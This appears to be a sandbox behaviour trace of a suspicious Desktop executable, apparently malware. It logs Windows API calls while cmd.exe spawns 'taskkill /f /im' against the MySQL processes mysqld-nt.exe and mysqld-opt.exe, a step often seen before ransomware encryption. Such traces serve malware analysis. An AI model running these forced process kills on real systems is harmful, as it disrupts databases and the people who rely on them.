	[0042.230] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x4307f0) returned 0x66
	[0042.230] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0042.230] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0042.230] GetProcessHeap () returned 0x430000
	[0042.230] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x120) returned 0x443478
	[0042.230] GetProcessHeap () returned 0x430000
	[0042.230] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x238) returned 0x430860
	[0042.232] GetProcessHeap () returned 0x430000
	[0042.232] RtlReAllocateHeap (Heap=0x430000, Flags=0x0, Ptr=0x430860, Size=0x122) returned 0x430860
	[0042.232] GetProcessHeap () returned 0x430000
	[0042.232] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x430860) returned 0x122
	[0042.232] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.232] GetProcessHeap () returned 0x430000
	[0042.232] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xe0) returned 0x430990
	[0042.232] GetProcessHeap () returned 0x430000
	[0042.232] RtlReAllocateHeap (Heap=0x430000, Flags=0x0, Ptr=0x430990, Size=0x76) returned 0x430990
	[0042.232] GetProcessHeap () returned 0x430000
	[0042.232] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x430990) returned 0x76
	[0042.232] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.232] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x28efcc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28efcc) returned 0xffffffff
	[0042.233] GetLastError () returned 0x2
	[0042.233] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x28efcc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28efcc) returned 0xffffffff
	[0042.233] GetLastError () returned 0x2
	[0042.233] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x28efcc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28efcc) returned 0x430a10
	[0042.233] GetProcessHeap () returned 0x430000
	[0042.233] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x0, Size=0x14) returned 0x4435a0
	[0042.233] FindClose (in: hFindFile=0x430a10 | out: hFindFile=0x430a10) returned 1
	[0042.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x28efcc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28efcc) returned 0xffffffff
	[0042.233] GetLastError () returned 0x2
	[0042.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x28efcc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28efcc) returned 0x430a10
	[0042.233] GetProcessHeap () returned 0x430000
	[0042.233] RtlReAllocateHeap (Heap=0x430000, Flags=0x0, Ptr=0x4435a0, Size=0x4) returned 0x4435a0
	[0042.234] FindClose (in: hFindFile=0x430a10 | out: hFindFile=0x430a10) returned 1
	[0042.234] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0042.234] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0042.234] GetConsoleTitleW (in: lpConsoleTitle=0x28f4c4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0042.234] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f34c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f414 | out: lpAttributeList=0x28f34c, lpSize=0x28f414) returned 1
	[0042.234] UpdateProcThreadAttribute (in: lpAttributeList=0x28f34c, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f40c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f34c, lpPreviousValue=0x0) returned 1
	[0042.234] GetStartupInfoW (in: lpStartupInfo=0x28f308 | out: lpStartupInfo=0x28f308*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8)) 
	[0042.234] GetProcessHeap () returned 0x430000
	[0042.234] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x18) returned 0x430a10
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0042.234] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0042.235] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0042.235] GetProcessHeap () returned 0x430000
	[0042.235] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x430a10 | out: hHeap=0x430000) returned 1
	[0042.235] GetProcessHeap () returned 0x430000
	[0042.235] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xa) returned 0x43fee8
	[0042.235] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0042.237] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im mysqld-nt.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f3a8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im mysqld-nt.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f3f4 | out: lpCommandLine="taskkill  /f /im mysqld-nt.exe ", lpProcessInformation=0x28f3f4*(hProcess=0x78, hThread=0x74, dwProcessId=0x904, dwThreadId=0x900)) returned 1
	[0042.241] CloseHandle (hObject=0x74) returned 1
	[0042.242] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0042.242] GetProcessHeap () returned 0x430000
	[0042.242] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x445ed8 | out: hHeap=0x430000) returned 1
	[0042.242] GetEnvironmentStringsW () returned 0x454a50*
	[0042.242] GetProcessHeap () returned 0x430000
	[0042.242] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xb36) returned 0x444098
	[0042.242] FreeEnvironmentStringsW (penv=0x454a50) returned 1
	[0042.242] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0042.537] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x28f2e8 | out: lpExitCode=0x28f2e8*=0x80) returned 1
	[0042.538] CloseHandle (hObject=0x78) returned 1
	[0042.538] _vsnwprintf (in: _Buffer=0x28f430, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f2f4 | out: _Buffer="00000080") returned 8
	[0042.538] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0042.538] GetProcessHeap () returned 0x430000
	[0042.538] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x444098 | out: hHeap=0x430000) returned 1
	[0042.538] GetEnvironmentStringsW () returned 0x444098*
	[0042.538] GetProcessHeap () returned 0x430000
	[0042.538] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xb5c) returned 0x445ed8
	[0042.538] FreeEnvironmentStringsW (penv=0x444098) returned 1
	[0042.538] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0042.538] GetProcessHeap () returned 0x430000
	[0042.538] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x445ed8 | out: hHeap=0x430000) returned 1
	[0042.538] GetEnvironmentStringsW () returned 0x444098*
	[0042.538] GetProcessHeap () returned 0x430000
	[0042.538] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xb5c) returned 0x445ed8
	[0042.538] FreeEnvironmentStringsW (penv=0x444098) returned 1
	[0042.538] GetProcessHeap () returned 0x430000
	[0042.538] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x43fee8 | out: hHeap=0x430000) returned 1
	[0042.538] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f34c | out: lpAttributeList=0x28f34c) 
	[0042.538] _get_osfhandle (_FileHandle=1) returned 0xac
	[0042.538] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0042.538] _get_osfhandle (_FileHandle=1) returned 0xac
	[0042.539] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a8b41ac | out: lpMode=0x4a8b41ac) returned 0
	[0042.539] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0042.539] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a8b41b0 | out: lpMode=0x4a8b41b0) returned 0
	[0042.539] GetConsoleOutputCP () returned 0x1b5
	[0042.539] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8b4260 | out: lpCPInfo=0x4a8b4260) returned 1
	[0042.539] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0042.539] exit (_Code=128) 

Process:
	id = "45"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x49d99000"
	os_pid = "0x904"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "44"
	os_parent_pid = "0x90c"
	cmd_line = "taskkill  /f /im mysqld-nt.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 221
	os_tid = 0x900


Thread:
	id = 222
	os_tid = 0x8fc


Thread:
	id = 223
	os_tid = 0x8f8


Thread:
	id = 224
	os_tid = 0x8f4


Thread:
	id = 225
	os_tid = 0x8f0


Process:
	id = "46"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4a792000"
	os_pid = "0x8e4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im mysqld-opt.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 226
	os_tid = 0x8e0

	[0042.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ff888 | out: lpSystemTimeAsFileTime=0x3ff888*(dwLowDateTime=0xff0d66f0, dwHighDateTime=0x1d52dc4)) 
	[0042.639] GetCurrentProcessId () returned 0x8e4
	[0042.639] GetCurrentThreadId () returned 0x8e0
	[0042.639] GetTickCount () returned 0x1adfa
	[0042.639] QueryPerformanceCounter (in: lpPerformanceCount=0x3ff880 | out: lpPerformanceCount=0x3ff880*=16294889581) returned 1
	[0042.640] GetModuleHandleA (lpModuleName=0x0) returned 0x4acb0000
	[0042.640] __set_app_type (_Type=0x1) 
	[0042.640] __p__fmode () returned 0x74eb31f4
	[0042.640] __p__commode () returned 0x74eb31fc
	[0042.640] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4acd21a6) returned 0x0
	[0042.640] __getmainargs (in: _Argc=0x4acd4238, _Argv=0x4acd4240, _Env=0x4acd423c, _DoWildCard=0, _StartInfo=0x4acd4140 | out: _Argc=0x4acd4238, _Argv=0x4acd4240, _Env=0x4acd423c) returned 0
	[0042.640] GetCurrentThreadId () returned 0x8e0
	[0042.641] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8e0) returned 0x60
	[0042.641] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0042.641] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0042.641] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0042.641] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0042.641] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ff818 | out: phkResult=0x3ff818*=0x0) returned 0x2
	[0042.641] VirtualQuery (in: lpAddress=0x3ff84f, lpBuffer=0x3ff7e8, dwLength=0x1c | out: lpBuffer=0x3ff7e8*(BaseAddress=0x3ff000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0042.641] VirtualQuery (in: lpAddress=0x300000, lpBuffer=0x3ff7e8, dwLength=0x1c | out: lpBuffer=0x3ff7e8*(BaseAddress=0x300000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0042.641] VirtualQuery (in: lpAddress=0x301000, lpBuffer=0x3ff7e8, dwLength=0x1c | out: lpBuffer=0x3ff7e8*(BaseAddress=0x301000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0042.641] VirtualQuery (in: lpAddress=0x303000, lpBuffer=0x3ff7e8, dwLength=0x1c | out: lpBuffer=0x3ff7e8*(BaseAddress=0x303000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0042.641] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x3ff7e8, dwLength=0x1c | out: lpBuffer=0x3ff7e8*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0042.641] GetConsoleOutputCP () returned 0x1b5
	[0042.642] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acd4260 | out: lpCPInfo=0x4acd4260) returned 1
	[0042.642] SetConsoleCtrlHandler (HandlerRoutine=0x4acce72a, Add=1) returned 1
	[0042.642] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0042.642] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0042.642] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0042.642] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4acd41ac | out: lpMode=0x4acd41ac) returned 0
	[0042.642] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0042.642] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4acd41b0 | out: lpMode=0x4acd41b0) returned 0
	[0042.642] GetEnvironmentStringsW () returned 0x4c2010*
	[0042.642] GetProcessHeap () returned 0x4b0000
	[0042.642] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xaca) returned 0x4c2ae8
	[0042.643] FreeEnvironmentStringsW (penv=0x4c2010) returned 1
	[0042.643] GetProcessHeap () returned 0x4b0000
	[0042.643] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4c0c48
	[0042.643] GetEnvironmentStringsW () returned 0x4c2010*
	[0042.643] GetProcessHeap () returned 0x4b0000
	[0042.643] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xaca) returned 0x4c35c0
	[0042.643] FreeEnvironmentStringsW (penv=0x4c2010) returned 1
	[0042.643] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe788 | out: phkResult=0x3fe788*=0x68) returned 0x0
	[0042.643] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x0, lpData=0x3fe794*=0x0, lpcbData=0x3fe78c*=0x1000) returned 0x2
	[0042.643] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x1, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.643] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x0, lpData=0x3fe794*=0x1, lpcbData=0x3fe78c*=0x1000) returned 0x2
	[0042.643] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x0, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.643] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x40, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.643] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x40, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.643] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x0, lpData=0x3fe794*=0x40, lpcbData=0x3fe78c*=0x1000) returned 0x2
	[0042.643] RegCloseKey (hKey=0x68) returned 0x0
	[0042.643] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe788 | out: phkResult=0x3fe788*=0x68) returned 0x0
	[0042.644] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x0, lpData=0x3fe794*=0x40, lpcbData=0x3fe78c*=0x1000) returned 0x2
	[0042.644] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x1, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.644] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x0, lpData=0x3fe794*=0x1, lpcbData=0x3fe78c*=0x1000) returned 0x2
	[0042.644] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x0, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.644] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x9, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.644] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x4, lpData=0x3fe794*=0x9, lpcbData=0x3fe78c*=0x4) returned 0x0
	[0042.644] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe790, lpData=0x3fe794, lpcbData=0x3fe78c*=0x1000 | out: lpType=0x3fe790*=0x0, lpData=0x3fe794*=0x9, lpcbData=0x3fe78c*=0x1000) returned 0x2
	[0042.644] RegCloseKey (hKey=0x68) returned 0x0
	[0042.644] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163033
	[0042.644] srand (_Seed=0x5d163033) 
	[0042.644] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mysqld-opt.exe \""
	[0042.644] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mysqld-opt.exe \""
	[0042.644] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acd5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0042.644] GetProcessHeap () returned 0x4b0000
	[0042.644] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x210) returned 0x4c2010
	[0042.644] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c2018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0042.645] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0042.645] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.645] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0042.645] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0042.645] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0042.645] GetProcessHeap () returned 0x4b0000
	[0042.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c2ae8 | out: hHeap=0x4b0000) returned 1
	[0042.645] GetEnvironmentStringsW () returned 0x4c2228*
	[0042.645] GetProcessHeap () returned 0x4b0000
	[0042.645] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xae2) returned 0x4c4b88
	[0042.645] FreeEnvironmentStringsW (penv=0x4c2228) returned 1
	[0042.645] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
